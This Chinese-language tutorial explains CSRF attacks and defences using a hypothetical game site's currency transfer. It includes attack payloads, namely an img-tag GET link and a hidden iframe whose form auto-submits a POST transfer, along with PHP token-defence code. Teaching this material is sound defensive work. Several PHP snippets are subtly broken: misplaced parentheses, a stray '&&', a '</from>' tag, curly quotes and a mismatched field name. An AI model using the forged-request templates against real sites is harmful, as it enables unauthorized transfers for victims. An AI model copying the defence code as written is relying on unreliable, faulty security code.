一、什么是CSRF攻击
CSRF(Cross-site request forgery)跨站请求伪造,也被称为“One Click Attack”或者Session Riding,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用。尽管听起来像跨站脚本(XSS),但它与XSS非常不同,XSS利用站点内的信任用户,而CSRF则通过伪装成受信任用户的请求来利用受信任的网站。与XSS攻击相比,CSRF攻击往往不大流行(因此对其进行防范的资源也相当稀少)和难以防范,所以被认为比XSS更具危险性。
二、CSRF攻击原理
CSRF攻击原理图
通过上图分析我们可以知道构成CSRF攻击是有条件的:
1、客户端必须一个网站并生成cookie凭证存储在浏览器中
2、该cookie没有清除,客户端又tab一个页面进行访问别的网站
三、CSRF攻击案例解析
以网络游戏虚拟转账为此次的CSRF攻击案例。
1、简单级别的CSRF攻击
假设某游戏网站的虚拟币转账是采用GET方式进行操作的,样式如:
http://www.game.com/Transfer.php?toUserId=11&vMoney=1000
此时恶意攻击者的网站也构建一个相似的链接:
① 可以是采用图片隐藏,页面一打开就自动进行访问第三方文章:<img src='攻击链接'>
② 也可以采用js进行相应的操作
模拟攻击链接:
http://www.game.com/Transfer.php?toUserId=20&vMoney=1000 #toUserID为攻击的账号ID
1、假若客户端已经验证并登陆www.game.com网站,此时客户端浏览器保存了游戏网站的验证cookie 2、客户端再tab另一个页面进行访问恶意攻击者的网站,并从恶意攻击者的网站构造的链接来访问游戏网站 3、浏览器将会携带该游戏网站的cookie进行访问,刷一下就没了1000游戏虚拟币
2、中等级别的CSRF攻击
游戏网站负责人认识到了有被攻击的漏洞,将进行升级改进。
将由链接GET提交数据改成了表单POST提交数据
//提交数据表单 <form action="./Transfer.php" method="POST"> <p>toUserId: <input type="text" name="toUserId" /</p> <p>vMoney: <input type="text" name="vMoney" /></p> <p><input type="submit" value="Transfer" /></p> </form>
Transfer.php接收数据处理页面
<?php session_start(); if (isset($_REQUEST['toUserId'] && isset($_REQUEST['vMoney'])) #验证 { //相应的转账操作 } ?>
恶意攻击者将会观察网站的表单形式,并进行相应的测试。
首先恶意攻击者采用(http://www.game.com/Transfer.php?toUserId=20&vMoney=1000)进行测试,发现仍然可以转账。
那么此时游戏网站所做的更改没起到任何的防范作用,恶意攻击者只需要像上面那样进行攻击即可达到目的。
总结:
网站开发者的错误点在于虽然升级了数据的提交方式,但数据接收的方式并没有升级,我们都知道request既可以接收get提交的数据,同时也可以接收post提交的数据。用$_REQUEST接收POST和GET发来的数据,因此漏洞就产生了。
3、高级别的CSRF攻击
后来游戏网站开发者又再一次认识到了错误,将进行下一步的改进与升级,将采用POST来接收数据
Transfer.php数据请求接收处理页面
<?php session_start(); if (isset($_POST['toUserId'] && isset($_POST['vMoney'])) #验证 { //相应的转账操作 } ?>
此时如果在用之前的链接攻击就会被拦截。但这样恶意攻击者就没有办法进行攻击了么?那是不可能的。
恶意攻击者根据游戏虚拟币转账表单进行伪造了一份一模一样的转账表单,并且嵌入到iframe中。
嵌套页面:(用户访问恶意攻击者主机的页面,即tab的新页面)
<!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>攻击者主机页面</title> <script type="text/javascript"> function csrf() { window.frames['steal'].document.forms[0].submit(); } </script> </head> <body onload="csrf()"> <iframe name="steal" display="none" src="./csrf.html"> </iframe> </body> </html>
表单页面csrf.html
<!DOCTYPE html> <html> <head> <title>csrf</title> </head> <body> <form display="none" action="http://www.game.com/Transfer.php" method="post" > <input type="hidden" name="toUserID" value="20"> <input type="hidden" name="vMoney" value="1000"> </form> </body> </html>
尽管游戏开发者把数据提交和数据接收的升级成了POST,但攻击者把form表单post请求数据隐藏在了iframe中,客户端访问恶意攻击者的页面时iframe中的form表单数据请求会被自动触发,一样会遭受攻击。
总结:
CSRF攻击是源于Web的隐式身份验证机制!Web的身份验证机制虽然可以保证一个请求是来自于某个用户的浏览器,但却无法保证该请求是用户批准发送的。
四、CSRF攻击的防御策略
服务器端防御:
1、重要数据交互采用POST进行接收,当然是用POST也不是万能的,伪造一个form表单即可破解
2、使用验证码,只要是涉及到数据交互就先进行验证码验证,这个方法可以完全解决CSRF。但是出于用户体验考虑,网站不能给所有的操作都加上验证码。因此验证码只能作为一种辅助手段,不能作为主要解决方案。
3、验证HTTP Referer字段,该字段记录了此次HTTP请求的来源地址,最常见的应用是图片防盗链。PHP中可以采用APache URL重写规则进行防御,可参考:http://www.cnblogs.com/phpstudy2015-6/p/6715892.html
4、为每个表单添加令牌token并验证
(可以使用cookie或者session进行构造。当然这个token仅仅只是针对CSRF攻击,在这前提需要解决好XSS攻击,否则这里也将会是白忙一场【XSS可以偷取客户端的cookie】)
CSRF攻击之所以能够成功,是因为攻击者可以伪造用户的请求,该请求中所有的用户验证信息都存在于Cookie中,因此攻击者可以在不知道这些验证信息的情况下直接利用用户自己的Cookie来通过安全验证。由此可知,抵御CSRF攻击的关键在于:在请求中放入攻击者所不能伪造的信息,并且该信息不存在于Cookie之中。
鉴于此,我们将为每一个表单生成一个随机数秘钥,并在服务器端建立一个拦截器来验证这个token,如果请求中没有token或者token内容不正确,则认为可能是CSRF攻击而拒绝该请求。
由于这个token是随机不可预测的并且是隐藏看不见的,因此恶意攻击者就不能够伪造这个表单进行CSRF攻击了。
要求:
1、要确保同一页面中每个表单都含有自己唯一的令牌。
2、每次验证后需要删除相应的随机数。(确保攻击者即使拿到访问者的token也无法成功发起攻击,因为token是一次性的)
token令牌生成示例(仅供参考):
构造令牌类Token.calss.php
<?php class Token { /** * @desc 获取随机数 * * @return string 返回随机数字符串 */ private function getTokenValue() { return md5(uniqid(rand(), true).time()); } /** * @desc 获取秘钥 * * @param $tokenName string | 与秘钥值配对成键值对存入session中(标识符,保证唯一性) * * @return array 返回存储在session中秘钥值 */ public function getToken($tokenName) { $token['name']=$tokenName; #先将$tokenName放入数组中 session_start(); if(@$_SESSION[$tokenName]) #判断该用户是否存储了该session { #是,则直接返回已经存储的秘钥 $token['value']=$_SESSION[$tokenName]; return $token; } else #否,则生成秘钥并保存 { $token['value']=$this->getTokenValue(); $_SESSION[$tokenName]=$token['value']; return $token; } } } #测试 $csrf=new Token(); $name='form1'; $a=$csrf->getToken($name); echo "<pre>"; print_r($a); echo "</pre>"; echo "<pre>"; print_r($_SESSION); echo "</pre>";die; ?>
在form表单中使用token(每次打开form都需要生成生成一次)
<?php session_start(); include(”Token.class.php”); $token=new Token(); $arr=$token->getToken(‘transfer’); #保证唯一性(标识符) ?> <form method=”POST” action=”./transfer.php”> <input type=”text” name=”toUserId”> <input type=”text” name=”vMoney”> <input type="hidden" name="<?php echo $arr['name'] ?>" value="<?php echo $arr['value']?>" > <input type=”submit” name=”submit” value=”Submit”> </from>
数据验证(先校验token)
<?php #转账表单验证 session_start(); if($_POST['transfer']==$_SESSION['transfer']) #先检验秘钥 { unset($_SESSION['transfer']); #删除已经检验的存储秘钥 if ( &&isset($_POST['toUserId'] && isset($_POST['vMoney'])) #验证 { //相应的转账操作 } } else { return false; } ?>
该方法的思路:
①用户访问某个表单页面。
②服务端生成一个Token,放在用户的Session中,或者浏览器的Cookie中。【这里已经不考虑XSS攻击】
③在页面表单附带上Token参数。
④用户提交请求后, 服务端验证表单中的Token是否与用户Session(或Cookies)中的Token一致,一致为合法请求,不是则非法请求。
参考文章:CSRF攻击与防御